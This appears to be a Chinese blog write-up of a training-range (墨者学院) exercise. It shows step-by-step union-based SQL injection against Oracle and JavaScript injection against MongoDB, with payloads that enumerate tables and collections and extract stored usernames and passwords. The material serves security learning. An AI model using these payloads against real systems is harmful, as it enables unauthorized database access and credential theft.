Oracle &&MongoDB

听课的时候第一次碰到,可以了解一下吧,就直接开了墨者学院的靶场

#oracle数据库

Oracle数据库注入全方位利用 - 先知社区

这篇写的真的很好

1.判断注入点

当时找了半天没找到

看样子是找到了,测试一下看看

id=1 and 1=1 时没有报错

2.判断字段数

3.确定回显点

复制代码
?id=1 union select null,null from dual

oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。

?id=1 union select 'null','null' from dual

oracle对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select 'null','null'。

第一个null回显在红字部分,第二个null回显在下边

4.获取表名

直接查询

获取第一个表名LOGMNR_SESSION_EVOLVE$

复制代码
?id=1 union select 'null',(select table_name from user_tables where rownum=1) from dual

查询其他表

LOGMNR_GLOBAL$

复制代码
?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

LOGMNR_SESSION_EVOLVE$

复制代码
?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_GLOBAL$') from dual

模糊查询

sns_users

复制代码
?id=1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

5.获取列名

USER_NAME

复制代码
?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

USER_PWD

复制代码
?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in'USER_NAME') from dual

5.查询数据

复制代码
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1
复制代码
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

终于出来啦

复制代码
?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

解码一下

拿账号密码登录就可

#Mongodb 数据库

MongoDB 查询文档 | 菜鸟教程

渗透测试之地基服务篇:服务攻防之数据库Mongodb(下) - FreeBuf网络安全行业门户

数据库安全之MongoDB渗透 - FreeBuf网络安全行业门户

先要了解一下查询方式

在mysql中使用where子句来实现条件查询

但是mongogb是使用键值

先看下源码

复制代码
# 查询语句,这里id值可控且没有经过过滤和限制
$query = "var data = db.notice.findOne({'id':'$id'}); return data;";
​
#打印出数据库中title字段和content字段信息
<?php echo $obj['retval']['title'] ?>
<?php echo $obj['retval']['content'] ?>

1.判断注入点

还是老的

2.测回显

复制代码
如何构造payload?

正常写法:select * from news where id=1

mdb数据库写法:select * from news where id={('$id')},需要闭合符号


原始语句:db.notice.findOne({'id':'$id'});return data;

如果 ?id=1 order by 2

那么语句就会变成:db.notice.findOne({'id':'1 order by 2'});return data;,语句不正确。

但是注入语句 ?id=1'}); return ({title:tojson(db),content:'1

那么语句就变成:db.notice.findOne({'id':'1'}); return ({title:tojson(db),content:'1'});return data; ,就可以进行正常的注入。


测回显:?id=1'}); return ({title:1,content:'test

根据源码来确定 title回显在红色,content在灰字

3.获取库名

mozhe_cms_Authority

复制代码
?id=1'}); return ({title:tojson(db),content:'1

db.getCollectionNames()返回的是数组,需要用to json转换为字符串。并且mongodb函数区分大小写

4.获取表名

复制代码
?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

getCollectionNames()以数组形式返回所有集合,需要使用tojson()方法转字符串格式

5.获取数据、

复制代码
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

这个密码得到是假的

复制代码
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1

查询第二条数据

这是对的

相关推荐
好吃的肘子31 分钟前
MongoDB 应用实战
大数据·开发语言·数据库·算法·mongodb·全文检索
weixin_4723394640 分钟前
MySQL MCP 使用案例
数据库·mysql
lqlj22332 小时前
Spark SQL 读取 CSV 文件,并将数据写入 MySQL 数据库
数据库·sql·spark
遗憾皆是温柔2 小时前
MyBatis—动态 SQL
java·数据库·ide·sql·mybatis
未来之窗软件服务2 小时前
Cacti 未经身份验证SQL注入漏洞
android·数据库·sql·服务器安全
fengye2071613 小时前
在MYSQL中导入cookbook.sql文件
数据库·mysql·adb
Ailovelearning3 小时前
neo4j框架:ubuntu系统中neo4j安装与使用教程
数据库·neo4j
_星辰大海乀4 小时前
表的设计、聚合函数
java·数据结构·数据库·sql·mysql·数据库开发
未来之窗软件服务5 小时前
solidwors插件 开发————仙盟创梦IDE
前端·javascript·数据库·ide·仙盟创梦ide
yc_12245 小时前
SqlHelper 实现类,支持多数据库,提供异步操作、自动重试、事务、存储过程、分页、缓存等功能。
数据库·c#